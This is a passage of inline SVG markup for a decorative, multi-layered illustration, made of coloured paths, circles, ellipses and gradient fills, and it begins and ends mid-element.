00-.5-1z" data-name="Layer 19"></path><path fill="#3442d9" d="M1464.3 954.2a44.2 44.2 0 01-19.8-30.6l-3.2-21.4a2.1 2.1 0 00-2.1-1.8 2.1 2.1 0 00-2.1 1.8l-3.2 21.4a44.2 44.2 0 01-19.8 30.6l-2.8 1.8a2.1 2.1 0 00-.9 1.8v.2a2.1 2.1 0 00.9 1.8l2.8 1.8a44 44 0 0119.8 30.6l3.2 21.3a2.1 2.1 0 002.1 1.9 2.1 2.1 0 002.1-1.9l3.2-21.3a44 44 0 0119.8-30.6l2.8-1.8a2.2 2.2 0 001-1.8v-.2a2.2 2.2 0 00-1-1.8z" data-name="Layer 18"></path><path fill="#ff78b9" d="M789.5 845.4a13.5 13.5 0 01-6.1-9.3l-.9-6.6a.9.9 0 00-.7-.6.6.6 0 00-.6.6l-1 6.6a13.5 13.5 0 01-6.1 9.3l-.8.6a.5.5 0 00-.3.5.5.5 0 00.3.5l.8.6a13.5 13.5 0 016.1 9.3l1 6.6a.6.6 0 00.6.6.9.9 0 00.7-.6l.9-6.6a13.5 13.5 0 016.1-9.3l.8-.6a.5.5 0 00.3-.5.5.5 0 00-.3-.5z" data-name="Layer 17"></path><path fill="#ff78b9" d="M843.2 146.5a8.2 8.2 0 01-3.7-5.8l-.6-4c0-.2-.2-.3-.4-.3s-.4.1-.4.3l-.6 4a8.2 8.2 0 01-3.7 5.8l-.5.3-.2.3c0 .1.1.2.2.3l.5.3a8.2 8.2 0 013.7 5.8l.6 4c0 .2.2.3.4.3s.4-.1.4-.3l.6-4a8.2 8.2 0 013.7-5.8l.5-.3c.1-.1.2-.2.2-.3l-.2-.3z" data-name="Layer 16"></path><g data-name="Layer 15"><circle cx="1427.5" cy="531.4" r="98.7" fill="#66bcff"></circle><circle cx="1427.5" cy="531.4" r="98.7" fill="#66bcff"></circle><circle cx="1427.5" cy="531.4" r="98.7" fill="#66bcff"></circle><circle cx="1427.5" cy="531.4" r="108.1" fill="none" stroke="#29cc7a" stroke-miterlimit="10" stroke-width="6.883"></circle><path fill="#eb459f" d="M1354.8 562a25.8 25.8 0 00-18.4 7.4 97.8 97.8 0 0031.3 40.5 25.8 25.8 0 00-12.9-47.9z"></path><path fill="#bf0f76" d="M1344.2 570.2c.3 1.7 4.9 3.9 11.5 4.9s11.8.2 12.5-1.4a169.2 169.2 0 006.5-15.7c1.1-3.2-1.1-8.1-13.2-9s-16 .7-17.9 3.3-1.2 9.2.6 17.9z"></path><path fill="#ffe75c" d="M1382.9 507.9c-2.1-.3-4.6.7-7.6 7.2.3-8.2.1-16.4.1-20.3s-1.8-5.1-3.9-5.3a4.3 4.3 0 00-4.8 4.1c-.3 3.1-.6 12.5-.7 15.6s-.2 3.7-.6 3.7-.9-1-1.5-3.2a103 103 0 00-4-10.7c-2-4.8-2.6-7.8-9.1-6.4s-11.7 7.1-13.3 10.9.5 7.1 5.3 18.9c-3.7 15.4-3.3 17.6-.9 20.7s7.9 2.9 17 2.3c20-1.3 19.9-2.6 22.1-11.3s3.5-16.1 4-19.1.7-6.7-2.1-7.1z"></path><path d="M1371.9 522.7a1 1 0 00.7-.7 74.2 74.2 0 012.7-7c0-1.4.1-2.9.1-4.3a51.3 51.3 0 00-4.4 10.2c-8.9 1.4-13.9 5.8-15.7 14a1 1 0 00.8 1.1h.2a1 1 0 00.9-.7c1.6-7.6 6.2-11.5 14.7-12.6z"></path><path fill="#ffe75c" d="M1352.6 544.2c-.2 4.1-.1 9.8-.1 9.8l15.4 1.1.9-13.2z"></path><path fill="#eb459f" d="M1416.3 546.9c-22.5 4.3-27.8 22.7-26 43.8-10 6.5-13.7 14-13.6 25.3a98.6 98.6 0 00111.9-7.1l4-56.1s-53.7-10.1-76.3-5.9z"></path><path fill="#eb459f" d="M1380.5 575.1c-12.6 4.2-20.4 13.5-22.4 26.5a98.9 98.9 0 0043.6 25.1l12.3-80.6c-18.3-2.4-34.5 7.3-33.5 29z"></path><path d="M1419.5 560.2c-10.5-21.2-16.1-23.4-15-29.9s15.6-6.9 34.9-6.8-1 35.5-1 35.5z"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2.238" d="M1416.3 546.9c-22.5 4.3-27.8 22.7-26 43.8-9.4 6.1-13.2 13.2-13.6 23.4"></path><path fill="none" stroke="#fff" stroke-linecap="round" stroke-linejoin="round" stroke-width="2.238" d="M1447.3 554c-23 10.2-20 17.7-13.2 37.5a40.1 40.1 0 00-12.3 37.6"></path><path fill="url(#linear-gradient-2)" d="M1473.8 428.5c6.8-8.7 15.8-13.6 24.3-11.4s10.3 7 14.9 33.2c15.9 8.4 17.8 10.6 5.2 28.9 11.6 11.5 13.1 17.4-1.9 30.4l-16.5.8c-14.1-11.7-16.6-12.2-9.8-29.1-22.3-26.7-19.5-31.6-16.2-52.8z"></path><path fill="none" stroke="#fff" stroke-linecap="round" stroke-linejoin="round" stroke-width="2.238" d="M1495.3 482.7c0-3.2 1.6-5.7 3.5-5.7s3.6 2.5 3.6 5.7"></path><circle cx="1490.8" cy="451.2" r="9.2" fill="#4452f2"></circle><circle cx="1487.3" cy="437.7" r="9.2" fill="#4452f2"></circle><circle cx="1475.5" cy="433.6" r="9.2" fill="#4452f2"></circle><circle cx="1466.4" cy="431.5" r="5.6" fill="#4452f2"></circle><path fill="url(#linear-gradient-3)" d="M1435.2 565.3c18.2 0 32.6-9.5 41.4-17.5a34.4 34.4 0 0010.7-20.8c1.5-11.8 3.9-31.9 5.2-52.4 2-31.9-18-44.7-36.9-43s-34.6 11.7-38.1 43c-21.9 0-29.8 3-31.3 11.1s8.2 13.4 22.5 19.5c3.4 1.4 3.8 1.7 4.4 3.7s2.8 12.1 16 22.8c-3.4 8.1-4.2 14.4-3.3 23.6s5.8 10 9.4 10z"></path><path fill="#bf0f76" d="M1434.1 559.3c-7.7-19.5-11.5-22.7-25.7-33.2-2.3 1-3.6 2.3-3.9 4.2-1.1 6.5 4.5 8.7 15 29.9z"></path><path fill="#ffe75c" d="M1485.8 467.5c18-1.3 22.7-.6 23.6 3.8s-4.3 7.9-22.7 17.4z"></path><path fill="#c40655" d="M1446.8 493.8c-1 2.8-1 7.5-.9 12.7s.6 11.9-5.8 12.4-9.8-6.9-11.5-10.1-2.1-3.6-3-4.1-4.6-2.4-7.9-4.1-5.3-3.4-4.4-4.4 9.6.8 19 1.7 10.9-2.1 13.6-5.3c.5-.6 1.5-.6.9 1.2z"></path><path d="M1445.9 492.6c-2 2.4-3.4 4.7-7.9 5.3a10.1 10.1 0 00-.3 1.7c-.4 5 2 9.1 5.3 9.1a4.8 4.8 0 002.9-1.1v-1.1c-.1-5.2-.1-9.9.9-12.7s-.4-1.8-.9-1.2z"></path><path fill="none" stroke="#ffae00" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.5" d="M1444.5 485.9a23.5 23.5 0 009.1 6.1"></path><path fill="#4452f2" d="M1430.8 512.9c2 3.1 5 6.4 9.3 6 6.4-.5 5.9-7.2 5.8-12.4 0-1.9-.1-3.7 0-5.4-6.7-1.2-14 2-15.1 11.8z"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2.238" d="M1443.3 499.9c-3.1 1.8-6.7 6.4-7 13.2M1420.6 474.1c.9-6.2 2.5-8.3 3.6-8.5s1 2.3.6 7.9M1450.6 473.5c2.1-9.1 5.1-9.6 6.4-9s2.2 2.9 1.9 9.6"></path><ellipse cx="1466.2" cy="477.8" fill="#fa80ba" rx="7.2" ry="5.7" transform="rotate(-36.1 1466.316 477.85)"></ellipse><path fill="none" stroke="#fff" stroke-linecap="round" stroke-linejoin="round" stroke-width="2.238" d="M1502.4 482.7c0 3.1-1.6 5.6-3.6 5.6s-3.5-2.5-3.5-5.6"></path><path fill="#fff" d="M1496.9 501.6l-2.7-5a.8.8 0 010-.7l3.8-5.3a.6.6 0 011.1.1l2.3 4.8a.6.6 0 010 .6l-3.4 5.5a.7.7 0 01-1.1 0z"></path><path fill="#4452f2" d="M1516.3 509.6l-16.5.8c-2.2 1.4-1.4 2.3 0 3.6l16.4-.6c2.5-2.1 1.8-2.5.1-3.8z"></path><path fill="#ffe75c" d="M1516.2 513.4c1.1 4.6 1.6 7.7 1.9 9.6s-.5 3-10 3.3-9.1-1.2-9-3.5.7-8.8.7-8.8z"></path><path fill="#bf0f76" d="M1488.2 545.1c4.8-17.5 6.4-23.2-3.4-22.7a334.3 334.3 0 00-37.1 4c-9 1.6-8.8 2.8-4.4 32.6z"></path><path fill="#fff" d="M1389.6 541.2a2.1 2.1 0 00-2 2.4l5.4 39.2a4.8 4.8 0 001.7 3c1.5 1.1 4.3 2.4 9.3 2.4s7.8-1.3 9.2-2.4a4.8 4.8 0 001.7-3l5.5-39.2a2.1 2.1 0 00-2.1-2.4z"></path><path fill="none" stroke="#fff" stroke-linecap="round" stroke-linejoin="round" stroke-width="5" d="M1413.1 548.5c5.9-.4 8.6-.5 10 1.7s.4 6.1-.8 12.7-2.7 5.5-10.2 6"></path><ellipse cx="1456.6" cy="452.8" rx="1.4" ry="3.8" transform="rotate(-82 1457.448 452.514)"></ellipse><ellipse cx="1423.2" cy="456" rx="1.2" ry="2.6" transform="rotate(-82 1423.962 455.72)"></ellipse><circle cx="1479.4" cy="628.7" r="27.3" fill="#eb459f"></circle><path fill="#eb459f" d="M1432.3 559c29.3-11.3 48.2-18.5 61.5-20.6a32.6 32.6 0 0118.5 2.3c19.7 8.8 14.7 29.6 8.2 39.6 12.4 8.6 18.6 24.4 5.8 42.5 11 9.4 17.6 29.9 3.3 42.4s-35.8 8.6-44.6-10.3z"></path><path fill="#bf0f76" d="M1455.9 620.2c1.6 1 6.6-.8 12.3-5.1s8.8-8.7 8.2-10.5c-2.2-6.1-5.5-13.3-7.1-16.6s-6.9-5.1-16.6 3.3-11.3 12.7-10.8 16.1 6.1 7.7 14 12.8z"></path><path fill="#ffe75c" d="M1449.5 585.1c9.3-10.4 12.9-17.6 13.5-20.9s.8-6.1-6.9-13.1-12-9.1-15.8-8.8-7.3 4.6-10.6 13.4c-.5 1.5 5 4.9 3.4 5.3-9.1 2.8-11.7 15-13.1 20.2s-1.6 9.7 5.3 13.8 9.7 6.4 24.2-9.9z"></path><path fill="#ffe75c" d="M1437.2 550.8c-12.1.4-17.7 1.3-20.3 2.6s-2.5 4-2.1 6.6.9 3.5 7.4 3.7 15 0 15 0z"></path><path fill="#ffe75c" d="M1441.1 592.7L1448.1 601.1 1460.3 591.3 1451.8 579 1441.1 592.7z"></path><path d="M1345.5 494.9a11 11 0 00-2.1 1.4 1.6 1.6 0 00-.6 1.8c.7 3.6 3.3 9.6 8.7 20a1.1 1.1 0 00.9.6l.4-.2a.8.8 0 00.4-1.2c-9.4-18.2-9.5-21.2-7.7-22.4z"></path>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2.238" d="M1439.3 551.5c-5.1 2.6-5.5 7.3-4.6 11.3-5 2.3-6.3 5.1-5.4 11.3-2.7 1.6-5 3.6-4.1 8.6"></path><path d="M1441.6 593.2L1445.9 589.2 1444.4 596.6 1441.6 593.2z"></path><path d="M1352.5 545.8L1365.2 545 1352.5 551.8 1352.5 545.8z"></path><path fill="#eb459f" d="M1343.2 564.8L1370.7 568.2 1370.6 577.3 1341.9 575.5 1343.2 564.8z"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2.238" d="M1505.5 620.5a27.3 27.3 0 00-26.1-19.1M1489.4 580.9a27.6 27.6 0 00-5.6 20.1"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2.238" d="M1485.8 587.1L1483.2 582.7"></path></g><g data-name="Layer 14"><path fill="#ffc619" d="M1259.3 840.4a34 34 0 00-13.9-.1c-.8-5.7-5.4-11.2-16.9-21.7-14.8-13.5-18.6-30.4-18.6-47.5l-41 33.3-9.8 41.2c14.7-3.5 29.6-5.7 45.1.6l5.2 2.4a5.1 5.1 0 01.8 8.5c-4.5 3.5-7.6 6.7-7.9 6.9a105.9 105.9 0 00-10.4 11.7c-17.2 23.5-12.2 42.3 9.6 41.1 19.1-1 44.5-16.9 58.9-35.6s15.5-36.8-1.1-40.8zm-4.7 33.7c-13.5 17.4-38.2 32.7-48.7 32.7s-7.6-13.5 6.6-30.2 34.1-30.4 44.6-30.4 9.8 12-2.5 27.9z"></path><path fill="#ff8c19" d="M1209.8 771.2c.3 7.7-1.5 17-5.2 26.5-8.9 22.9-26.7 42.1-42.5 47.2l7-1.4c14.3-7.7 29.1-25.1 36.9-45.3a73.7 73.7 0 004.5-15.9 105.1 105.1 0 01-.6-11.2z"></path><ellipse cx="1172.7" cy="797.3" fill="#ffc619" rx="54.4" ry="28.8" transform="rotate(-59.3 1172.518 797.226)"></ellipse><path fill="#ff8c19" d="M1191 753.5c-15.2 0-36.6 21.2-46.6 46.3s-4.5 41.1 10.6 39 33.1-20.9 42.9-43 7.5-42.3-6.9-42.3z"></path><path fill="#ff8c19" d="M1191 753.5c-15.2 0-36.6 21.2-46.6 46.3s-4.5 41.1 10.6 39 33.1-20.9 42.9-43 7.5-42.3-6.9-42.3z"></path><path d="M1197.9 795.8a96 96 0 004.6-13.3 7.9 7.9 0 00-5.7-2.2c-10.2 0-24.6 14.3-31.4 31.2-4.3 10.9-4.2 19.6-.7 23.8 12.3-6.8 25.5-22.2 33.2-39.5z"></path><path fill="url(#linear-gradient-4)" d="M1196.6 798.5a104 104 0 01-10.6 17.3c-6.8 2.5-8.4 8.9-12 16.1-4.5 9-12.2 17.6-25.8 23.4-23.4 10-41.5-.5-47.1-6.1s-2.9-12.5 7.1-13.4 22.6-1.2 31.3-14.1a40.1 40.1 0 003.4-6.2c8-19.1 20.7-19.3 27.8-14.9 9.3-5.9 18.5-6 25.9-2.1z"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="1.703" d="M1170.7 800.6c-10.9 7.4-12.9 21.1-20.5 30.1s-14.7 10.3-14.7 10.3"></path><path fill="#fff" d="M1201 758.7l-1.5 3c-1.9 3.5-4.6 3.7-9.6 3.7s-4.3-2.8 1.7-11.9a11.5 11.5 0 019.4 5.2zM1190.6 753.5c-5.4 8.8-7.1 11.9-11.5 11.9s-8.5.2-4.3-5.2a14.7 14.7 0 001-1.3c5.2-3.3 10.2-5.3 14.8-5.4z"></path><path d="M1244.6 850.1c1.6-2.7 1.8-5.5 1.8-8.6a.8.8 0 00-.9-.8.8.8 0 00-.8.8c0 4.2-.4 7.6-4.6 11.1a50.5 50.5 0 014.5-2.5z"></path><path fill="none" stroke="#ffc619" stroke-linecap="round" stroke-miterlimit="10" stroke-width="5.643" d="M1226.6 871.1L1234.2 891.2"></path><path fill="none" stroke="#ffc619" stroke-linecap="round" stroke-miterlimit="10" stroke-width="5.643" d="M1234.9 863.9L1242.5 884"></path><path fill="none" stroke="#ffc619" stroke-linecap="round" stroke-miterlimit="10" stroke-width="5.643" d="M1243.2 856.7L1250.8 876.7"></path><path fill="none" stroke="#ff8c19" stroke-linecap="round" stroke-miterlimit="10" stroke-width="3.762" d="M1260.9 859.2c-2-5.1-7.8-5.7-12.9-1.2l-20.6 17.9c-5.2 4.5-7.8 12.4-5.9 17.5s7.8 5.6 12.9 1.1l20.7-17.9c5.1-4.5 7.7-12.3 5.8-17.4z"></path><path fill="#ff8c19" d="M1254.4 875.1a67.7 67.7 0 005.9-6.1 17.9 17.9 0 003.7-6.9c1.2-5-.6-10.5-2.6-15.8-1-2.6-2.1-5.3-3.2-7.9l-1.7-4c-.6-1.4-1.2-2.8-1.7-4.2a55 55 0 01-2.5-8.8 56.6 56.6 0 01-1.3-9.2 3.8 3.8 0 013.5-4 3.8 3.8 0 014 3.5c.1.2 0 .5 0 .6a45.1 45.1 0 001.6 16.3 29.7 29.7 0 001.3 3.9l1.4 4.1c1 2.8 2 5.5 2.9 8.3a66.6 66.6 0 012.2 8.8 19.3 19.3 0 01-5 17.6 76 76 0 01-6.4 6.3 1.6 1.6 0 01-2.3-.2 1.6 1.6 0 01.2-2.2z"></path><path fill="#fff" d="M1254.8 804.9a6.5 6.5 0 016.5 6.5v1.8a4.7 4.7 0 01-4.7 4.7h-1.8a6.5 6.5 0 01-6.5-6.5 6.5 6.5 0 016.5-6.5z" transform="rotate(45 1254.787 811.45)"></path><rect width="7.8" height="7.76" x="1250.9" y="806.8" fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="1.703" rx="3.9" transform="rotate(45 1254.728 810.625)"></rect><path fill="#4ab0ff" d="M1143 766.4l-14.1-7.9a6.1 6.1 0 01-3.1-5.3v-1a6.1 6.1 0 016.1-6.2 6.1 6.1 0 015.9 4.3z"></path><path fill="#66bcff" d="M1124.9 804.3l-9.1 6.7a4.4 4.4 0 01-4.3.5l-.6-.3a4.4 4.4 0 01-2.3-5.7 4.4 4.4 0 014.4-2.5z"></path></g><path fill="#6874f7" d="M537.2 82.7a20.5 20.5 0 00-17 8.9 43.1 43.1 0 00-17.6-3.8 42.6 42.6 0 00-27.9 10.3h82.5a20.8 20.8 0 00-20-15.4z" data-name="Layer 13"></path><g data-name="Layer 12"><path fill="#808aff" d="M1519.2 121.3c-.1.2-.3.3-.4.2-3.1-2.2-4.5-1.8-5.3-.7s-.8 2.9-.5 5.5a1.1 1.1 0 01-.7 1.2c-.2.1-.5.1-.6-.1-2.1-2.1-3.2-3.1-4.7-3.4s-4.3.5-6.1 3.5l-6-6.5a20.1 20.1 0 007.5-11.6c.8-3.7 1.9-3.4 6-.1a55.3 55.3 0 0110.8 11.6.3.3 0 010 .4zM1465.7 131.6a.7.7 0 00.6-.1c2-2.6 3.5-2.8 4.6-2.3s1.7 1.9 2.2 3.7a.9.9 0 00.9.6c.2-.1.5-.2.6-.5.9-1.9 1.5-2.8 2.6-3.5a4.6 4.6 0 015.1.5l2.7-5.6a15.3 15.3 0 01-8-7.1c-1.9-3.2-2.7-2.7-5.4 1.2a37.8 37.8 0 00-6 12.6.4.4 0 00.1.5z"></path><circle cx="1491" cy="131.5" r="12.4" fill="#808aff"></circle><path fill="#3442d9" d="M1526.7 74.3a1.1 1.1 0 01-1.1.6c-9.2-2.6-12.4-1-13.7 1.7s.2 5.9 2.6 10.3a1.8 1.8 0 01-.8 2.4 1.5 1.5 0 01-1.6 0c-5.7-2.6-8.7-3.8-12.2-3.7a9.4 9.4 0 00-9.1 7.8l-15.8-7.7c5-8.4 4.6-17 2.5-25.2s.3-9 13-4.8a136.4 136.4 0 0135.8 17.6 1 1 0 01.4 1z"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.233" d="M1487.3 78.1c1.6 6.1 3.1 17.3 3.1 17.3"></path><path fill="#3442d9" d="M1412.2 111a1.1 1.1 0 001.2-.2c4.2-6 7.4-6.6 10-5.5s3.9 3.8 5.2 7.8a1.8 1.8 0 001.9 1.2 1.7 1.7 0 001.3-1c2-4.4 3.2-6.5 5.5-8.1s7-2.3 11.2.5l5.3-12.6c-8.9-2.9-14.4-8.6-18.5-14.9s-6.1-5.5-11.6 3.3a85.8 85.8 0 00-11.9 28.6.9.9 0 00.4.9z"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.233" d="M1436.9 90.6a49.5 49.5 0 008.9 12.7"></path><path d="M1447.6 101.3c5.8-2.2 12.9 1.9 15.8 9.1s.6 14.9-5.2 17.2l16.8-1.1c14.2-5.5 21-13.2 15.5-27.3-4.1-10.4-13.5-13.8-26.3-8.8s-16.6 10.9-16.6 10.9z"></path><path fill="#fff" d="M1458.8 97.7c5.2 6.7 8.3 10.6 9.7 11.6s1.4.2.6-3.4-3.3-16.3-3.3-16.3z"></path><path fill="#808aff" d="M1450.3 105.6c3.8 4.9 6.1 7.8 7.1 8.5s1 .1.5-2.6-2.5-11.9-2.5-11.9z"></path><path fill="#fff" d="M1475.6 124.3c-.5-6.2-.8-9.8-.5-11s.7-.8 2 1.5l6.3 10.4z"></path><path fill="url(#linear-gradient-5)" d="M1451.6 125.2a7.7 7.7 0 014.7-4.8c3-1 6.6-1.6 14.2.1a12.4 12.4 0 007.8-.5c7.4-2.8 12.1-11.5 10.5-19.4s-8.9-11.9-16.3-9a16.5 16.5 0 00-8.4 7.5c-5 9.3-6.9 11.8-11.3 13.8a8.1 8.1 0 01-6.3.3c-4.8-1.8-7.1-7.9-4.1-15.4a27.4 27.4 0 1135.4 35.8 27.9 27.9 0 01-20.9-.4c-5.5-2.4-6.1-5.5-5.3-8z"></path><path fill="#eb459f" d="M1483.9 88.8a14.8 14.8 0 00-12.7-.6c-4.3 1.6-7.7 4.8-10.3 9.3s-8.1 13.4-13 13.6a7.2 7.2 0 01-6.1-2.7c0 .1.1.2.1.3a6.6 6.6 0 005.7 4h.4c4.4-.2 8.8-4.6 14.2-14.3a18.7 18.7 0 019.6-8.7 13.3 13.3 0 0111.4.5 14.1 14.1 0 017 10c1.9 9.1-3.4 19.2-11.8 22.5a15.5 15.5 0 01-8.9.5c-8.2-1.6-13.6-1.2-16.6 1.4l-.4.4a3.6 3.6 0 00-.6 4.3 4.9 4.9 0 012-3.5c2.5-2.3 7.7-2.6 15.3-1.1a16.1 16.1 0 009.8-.6c9-3.5 14.7-14.4 12.7-24.2a15.5 15.5 0 00-7.8-11.1z"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.233" d="M1499.5 64.6c15.8 5.2 26.1 9.4 26.1 9.4M1513.3 88.3c-5.2-5.4-12.3-12.3-18.1-18M1429.9 112.9c-1.3-8.8-.7-22.4-.7-22.4M1412.6 110.4a119.9 119.9 0 0111.1-20.7"></path><path fill="#3442d9" d="M1403.9 154.3h-.4c-1.7-2.2-2.8-2.3-3.7-1.6a7.3 7.3 0 00-1.5 3.8c-.1.4-.4.8-.8.8-.2 0-.3-.1-.4-.3-1-1.9-1.6-2.8-2.7-3.4s-3.2-.6-5.2 1.2l-2.9-6a14.5 14.5 0 007.9-6.9c1.4-2.4 2.1-2 4.4 1.3a37.5 37.5 0 015.3 10.8.2.2 0 010 .3zM1362.8 150.1c.1.1.3.2.4.1 2.1-1.5 3.2-1.3 3.9-.6a4.7 4.7 0 01.7 3.1.6.6 0 00.5.6.7.7 0 00.6-.2 5.7 5.7 0 012.7-2 3.3 3.3 0 013.5 1.5l3.2-3.5a11.4 11.4 0 01-4.2-6.9c-.7-2.7-1.4-2.5-4.2-.3a27.3 27.3 0 00-7.1 7.9.2.2 0 000 .3z"></path><circle cx="1381.2" cy="155.6" r="9.4" fill="#3442d9"></circle></g><g data-name="Layer 11"><path fill="#ffc069" d="M705.1 901.6a24.2 24.2 0 003.1 2.5c4.3 2.8 5.4 5.9 3.5 8.4s-7.2 2.3-11.6-1-6.3-8.2-4.3-11 5.5-2.5 9.3 1.1z"></path><path fill="#3442d9" d="M619.5 989.1H638.6V1000.97H619.5z" transform="rotate(-4.7 629.138 996.059)"></path><path fill="#3442d9" d="M744.6 975.5c9.8-5.9 8.9-13.4-2.2-16.6L722 953c-11.1-3.2-28.3-.9-38.1 5.1l-57.1 34.5c-9.8 6-8.8 13.4 2.2 16.6l20.4 5.9c11.1 3.2 28.3.9 38.1-5.1z"></path><path fill="#d11583" d="M731.8 955.3H750.9V967.17H731.8z" transform="rotate(-4.7 741.61 961.62)"></path><path fill="#5865f2" d="M743.6 963.8c9.9-6 8.9-13.5-2.2-16.7l-20.4-5.8c-11.1-3.2-28.2-.9-38.1 5l-57 34.5c-9.9 6-8.9 13.5 2.2 16.6l20.4 5.9c11.1 3.2 28.2.9 38.1-5.1z"></path><path fill="#d11583" d="M744.6 975.5l-1.2.7-42.8-23.8c7.5-1.2 15.3-1.1 21.4.6l20.4 5.9a22.5 22.5 0 014.9 2.1c6.2 3.7 5.4 9.6-2.7 14.5z"></path><path fill="#eb459f" d="M747.3 961a23.7 23.7 0 01-3.7 2.8l-1.1.6-41.9-12-18.8-5.4 1.1-.7c9.9-5.9 27-8.2 38.1-5l20.4 5.8c9.4 2.7 11.6 8.5 5.9 13.9z"></path><path d="M687.7 997.6L742.5 964.4 681.8 947 627 980.1 687.7 997.6z"></path><path d="M743.4 976.2L742.5 964.4 687.7 997.6 688.7 1009.3 743.4 976.2z"></path><path fill="#fff" d="M743.2 959.2c9.9-5.9 8.9-13.4-2.2-16.6l-20.4-5.9c-11.1-3.2-28.2-.9-38.1 5.1l-57 34.5c-9.9 6-8.9 13.4 2.2 16.6l20.4 5.9c11.1 3.2 28.2.9 38.1-5.1z"></path><path fill="#ffc619" d="M621.8 977.4c10 31.8 7.7 35 18.9 23s21.4-18.6 53.3-7.5c38.5 13.5 34.7 13.1 36.9-17.1 1-12.7 8.8-20 14-30.9z"></path><ellipse cx="655.3" cy="980.6" fill="#eb459f" rx="33.2" ry="14.5" transform="rotate(-8 652.378 976.833)"></ellipse><ellipse cx="690.6" cy="968.9" fill="#d11583" rx="33.2" ry="14.5" transform="rotate(-8 687.65 965.648)"></ellipse><ellipse cx="715.2" cy="948.7" fill="#eb459f" rx="33.2" ry="14.5" transform="rotate(-8 712.081 945.082)"></ellipse><path fill="#29cc7a" d="M720.7 930.5l-100.4 39.2c-10.7 3.9-9.5 13.2 2.6 12.7a39.9 39.9 0 0127.6 9.7c5.6 4.9 13.2 5 20.9-.8s15.2-9.7 24.6-11.8 19.7-8.4 24.7-15.3 14.1-11.4 19.8-12.7 12.8-2.5 12.7-10.4-13-11.9-32.5-10.6z"></path><path fill="#3442d9" d="M617.1 959.3H636.2V971.17H617.1z" transform="rotate(-4.7 626.733 965.45)"></path><path fill="#3442d9" d="M742.1 945.7c9.9-6 8.9-13.5-2.2-16.7l-20.4-5.8c-11.1-3.2-28.2-.9-38.1 5l-57 34.5c-9.9 6-8.9 13.5 2.2 16.6l20.4 5.9c11.1 3.2 28.2.9 38.1-5.1z"></path><path fill="#d11583" d="M729.3 925.4H748.4V937.27H729.3z" transform="matrix(1 -.08 .08 1 -73.89 63.73)"></path><path fill="#5865f2" d="M741.2 933.9c9.8-6 8.8-13.5-2.3-16.7l-20.4-5.8c-11.1-3.2-28.2-.9-38.1 5l-57 34.5c-9.9 6-8.9 13.5 2.2 16.7l20.4 5.8c11.1 3.2 28.2.9 38.1-5z"></path><path fill="#d11583" d="M742.1 945.6l-1.1.7-42.9-23.8c7.5-1.2 15.4-1.1 21.4.7l20.4 5.8a23.5 23.5 0 015 2.1c6.1 3.7 5.3 9.7-2.8 14.5z"></path><path fill="#eb459f" d="M744.9 931.1a29.7 29.7 0 01-3.7 2.8l-1.2.7-41.9-12.1-18.8-5.4 1.1-.7c9.9-5.9 27.1-8.2 38.1-5l20.4 5.9c9.5 2.7 11.6 8.5 6 13.8z"></path><path fill="#3442d9" d="M685.3 967.7L740 934.6 679.3 917.1 624.5 950.2 685.3 967.7z"></path><path d="M741 946.3L740 934.6 685.3 967.7 686.2 979.5 741 946.3z"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.096" d="M682.3 942.4L668.2 898"></path><circle cx="676.7" cy="924.6" r="11.7" fill="#29cc7a"></circle><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.096" d="M674.4 917.5L668.2 898"></path><circle cx="668.2" cy="898" r="4.1" fill="#eb459f"></circle><ellipse cx="656.7" cy="967.2" rx="7.9" ry="3.4" transform="rotate(-8.1 648.513 958.822)"></ellipse><ellipse cx="729.1" cy="923.4" rx="7.9" ry="3.4" transform="rotate(-8.1 720.315 915.594)"></ellipse><path fill="#ffc069" d="M799.6 992.1c-8.6 6.2-19.8 6.6-24.9.9s-1.4-10.1 8.4-12.4a14.4 14.4 0 008-5.2c5.5-7.3 10.6-9.8 14.9-4.9s2.2 15.4-6.4 21.6zM607.1 1042.7c-.5 4.6-4.9 4.6-9.7 1a14.1 14.1 0 00-8.4-3c-5.4 0-8.4-1-7.9-5.4s6.8-8.7 14-6.7 12.5 8.4 12 14.1z"></path></g><g data-name="Layer 10"><path fill="#ff8c19" d="M1003.8 132.9c.4-6-3.3-11.5-10.1-11s-10.3 2.8-17.9 6.6a22.3 22.3 0 01-13.2 2.1c-20.9-3-26.3-2.6-30.6-1s-5.7 4-4.3 8.9 4.3 7.8 11.3 10 22.5 7.7 31.5 11.9 19.4 5.4 26.9 9.2 27.2 17.5 34.3 23.3 9.5 4.5 10.3 3.7.7-1.5.3-8a32.1 32.1 0 00-6.2-17c-3.9-5.5-12.3-13.5-16.9-20.5s-6.9-17.2-15.4-18.2z"></path><path fill="url(#linear-gradient-6)" d="M1019.2 151.1c-4.6-7-6.9-17.2-15.4-18.2-12.8-.3-23.5 5.7-31.3 6.9-5.6.8-18.8 1-24.2 1.1s-6.4.7-7.2 1.4-1.1 2-.1 2.5l-.4 2.1 7.9 2.8 34.8 12.4 18.7 8.8 22.1 14.2 15.6 11.5 2.5-.2c.6-.8.5-1.9.1-7.8a32.1 32.1 0 00-6.2-17c-3.9-5.5-12.3-13.5-16.9-20.5z"></path><path fill="#ed5f00" d="M1042 196.6c.4-.4.6-.8.6-2.1-.3 3.1-3.6.1-6.1-2.2s-9-11.2-20.5-16c-21.1-9-25.3-18.6-47.9-21.3-10.7-1.2-21.3-7.9-24.6-9.2s-4.2-1.5-4.1-3a15.3 15.3 0 00-2-9.3c-2.4-3.8-6.7-4.8-9.4-.8a7.5 7.5 0 00-.3 5.8c1.3 4.9 4.3 7.8 11.3 10s22.5 7.7 31.5 11.9 19.4 5.4 26.9 9.2 27.2 17.5 34.3 23.3 9.5 4.5 10.3 3.7z"></path><path d="M1042 